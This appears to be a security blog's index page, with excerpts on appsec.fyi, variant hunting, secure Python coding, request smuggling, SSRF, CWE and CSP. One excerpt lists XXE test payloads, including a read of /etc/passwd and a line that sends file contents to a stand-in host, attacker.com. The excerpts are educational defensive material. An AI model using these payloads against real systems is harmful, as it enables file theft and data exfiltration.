Security

As security researchers and professionals, we often find ourselves searching through countless resources, documentation, and references while working on projects or investigating vulnerabilities. Having a well-organized collection of links and resources can be invaluable for both learning and day-to-day work. This is exactly what appsec.fyi provides - a thoughtfully curated collection of application security resources that serves as a go-to reference point for security professionals. What is AppSec.fyi? AppSec.fyi describes itself as “a somewhat curated list of links to various topics in appsec. Mostly, but not always related to application security.” This humble description understates the value of what the site offers. At its core, it’s a centralized hub that organizes security knowledge across multiple domains, making it easy to find authoritative sources and reference materials for common vulnerabilities and security topics. ...

Variant hunting is one of the highest-impact activities in modern security research. Rather than looking for single, isolated vulnerabilities, variant hunting focuses on identifying patterns of flaws and tracking down all other instances of that pattern across products, codebases, or architectures. If a traditional vulnerability report is a single missing brick, variant hunting is discovering that the entire wall was built using the wrong blueprint. 🔍 What Exactly Is Variant Hunting? Variant hunting is the practice of: ...

1. Core Security Foundations Treat all input as untrusted. Validate strictly (whitelists over blacklists), normalize before checks, and enforce types and sizes. Use framework security features instead of writing your own. Least privilege: minimize DB, filesystem, and network permissions. Secrets management: use environment variables or secret stores, never hardcode. Dependency hygiene: pin and audit dependencies with pip-audit or Safety. Secure HTTP headers: add HSTS, X-Frame-Options, CSP, and others. Logging & monitoring: log relevant events, but never credentials. Testing: integrate Bandit and Semgrep in CI. 2. Preventing SQL Injection (SQLi) Principle: Never build queries using string concatenation. ...

HTTP Request Smuggling (HRS) is a powerful web application vulnerability that exploits discrepancies in how different servers or intermediaries parse and handle HTTP requests. This misalignment can allow an attacker to “smuggle” a malicious request through a front-end server (such as a load balancer, proxy, or CDN) so that it is interpreted differently by the back-end server. How HTTP Request Smuggling Works Modern web applications often rely on chains of intermediaries — proxies, reverse proxies, CDNs, and application servers. These components must all agree on where one HTTP request ends and the next begins. If they disagree, attackers can craft specially malformed requests that cause desynchronization. ...

Server-Side Request Forgery (SSRF) is a type of security vulnerability that allows an attacker to send crafted requests from a vulnerable server to internal or external resources. This can lead to unauthorized access to sensitive data, manipulation of server behavior, or even exploitation of other services within the network. SSRF exploits the trust that a server has in its own requests, allowing attackers to leverage this trust to perform actions that would typically be restricted. ...

Defending Your Web Applications Against Server-Side Request Forgery (SSRF) Attacks In today’s interconnected digital landscape, web applications face a myriad of security threats. One often overlooked but potentially devastating vulnerability is Server-Side Request Forgery (SSRF). Did you know that, according to a recent report, SSRF attacks have increased by a staggering 270% in the past year alone? In this blog post, we’ll dive into what SSRF is, how it can impact your web applications, and most importantly, the steps you can take to defend against these insidious attacks. ...

Common Weakness Enumeration (CWE) is a system that identifies and categorizes common software and hardware vulnerabilities. It provides a standardized way of describing and categorizing these weaknesses, making it easier for developers, security analysts, and other professionals to understand, discuss, and address them. CWE was developed by the MITRE Corporation, a nonprofit organization that operates research and development centers sponsored by the U.S. government. It includes a comprehensive list of known security weaknesses, organized into categories based on the type of vulnerability. ...

Here are some common XXE payloads that can be used to test for XXE- Basic payload: <!DOCTYPE replace [<!ENTITY example "Hello World">]> Retrieving sensitive files: <!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd">]> Retrieving files via FTP: <!DOCTYPE replace [<!ENTITY example SYSTEM "ftp://username:password@ftp.example.com/file">]> Retrieving files via HTTP: <!DOCTYPE replace [<!ENTITY example SYSTEM "http://example.com/file">]> Sending data to a remote server: <!DOCTYPE replace [<!ENTITY example SYSTEM "http://attacker.com/?data=%file_contents;">]> Recursive payload: <!DOCTYPE replace [<!ENTITY example "Hello &example2;"><!ENTITY example2 "&example;&example;&example;">]> ...

Content Security Policy (CSP) is a security measure that helps protect web applications from various attacks, including Cross-Site Scripting (XSS) and data injection. CSP works by specifying a set of Content Security Rules that dictate what resources are allowed to load on a page. This can be used to whitelist trusted sources of content, or to block untrusted content entirely. One advantage of Content Security Policy is that it can help to prevent malicious code from running on a page. This is because CSP blocks resources from loading unless they are explicitly allowed by the Content Security Rules. As a result, CSP can act as a barrier against XSS attacks and other types of malicious code injection. ...